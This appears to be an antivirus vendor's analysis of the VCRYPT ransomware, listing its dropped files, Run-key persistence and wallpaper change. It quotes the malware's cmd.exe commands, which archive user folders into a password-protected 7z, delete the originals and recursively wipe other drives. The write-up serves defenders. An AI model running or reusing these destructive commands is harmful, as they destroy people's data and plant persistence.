Ransom.Win32.VCRYPT.A

This Ransomware drops files as ransom note.

Installation

This Ransomware drops the following files:

• %User Temp%\mod_01.exe → legitimate 7zip command-line program (7za.exe)
• %User Profile%\new_background.bmp → used as wallpaper

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It drops the following copies of itself into the affected system:

• %User Temp%\video_driver.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

• %System%\cmd.exe /c copy /y "{Malware Path}\{Malware Filename}.exe" C:\Users\DYITUS~1\AppData\Local\Temp\video_driver.exe;
• %System%\cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "video_driver" /t REG_SZ /d "%TEMP%\video_driver.exe" /f;
• %System%\cmd.exe /c REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "video_driver" /t REG_SZ /d "%TEMP%\video_driver.exe" /f;
• %System%\cmd.exe /c reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "%USERPROFILE%\new_background.bmp" /f;
• %System%\cmd.exe /c RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters 1, True;

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

Autostart Technique

This Ransomware adds the following registry entries to enable its automatic execution at every system startup:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
video_driver = %User Temp%\video_driver.exe

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
video_driver = %User Temp%\video_driver.exe

Other System Modifications

This Ransomware changes the desktop wallpaper by modifying the following registry entries:

HKEY_CURRENT_USER\Control Panel\Desktop
Wallpaper = %User Profile%\new_background.bmp

It sets the system's desktop wallpaper to the following image:

Other Details

This Ransomware does the following:

• It adds the following process and will delete files found on the specified directories and compress it on a password-protected zip file:
  
  • %System%\cmd.exe /c if exist "{String1}\{String2}\" for /F %i in ('dir /b "{String1}\{String2}\*.*"') do "%TEMP%\mod_01.exe" a -t7z -r -mx0 -pOezfdse6f5esf413s5fd4e6fSQ45R424EDDEZS "{String1}\%username%_{String2}.vcrypt" "{String1}\{String2}\*" & del /f /s /q "{String1}\{String2}\" & FOR /D %p IN ("{String1}\{String2}\*") do rmdir "%p" /s /q
  • The archived file can be found on %User Profile%
  • It appends the following to the archived file:
  • %User Profile%\\{Username}_{String2}.vcrypt
  • The password of the archived file is Oezfdse6f5esf413s5fd4e6fSQ45R424EDDEZS
  • String1 is equal to:
  • %USERPROFILE%
  • %PUBLIC%
  • String2 is equal to:
  • Desktop
  • Downloads
  • Pictures
  • Music
  • Videos
  • Documents
• It adds the following process and will delete files found on Drives "A:" to "Z:" except Drives "C:" and "F:":
  
  • %System%\cmd.exe /c if exist "{Drive Letter}:" del /f /s /q "{Drive Letter}:" & FOR /D %p IN ("{Drive Letter}:") DO rmdir "%p" /s /q

Ransomware Routine

This Ransomware drops the following file(s) as ransom note:

• %User Profile%\help.html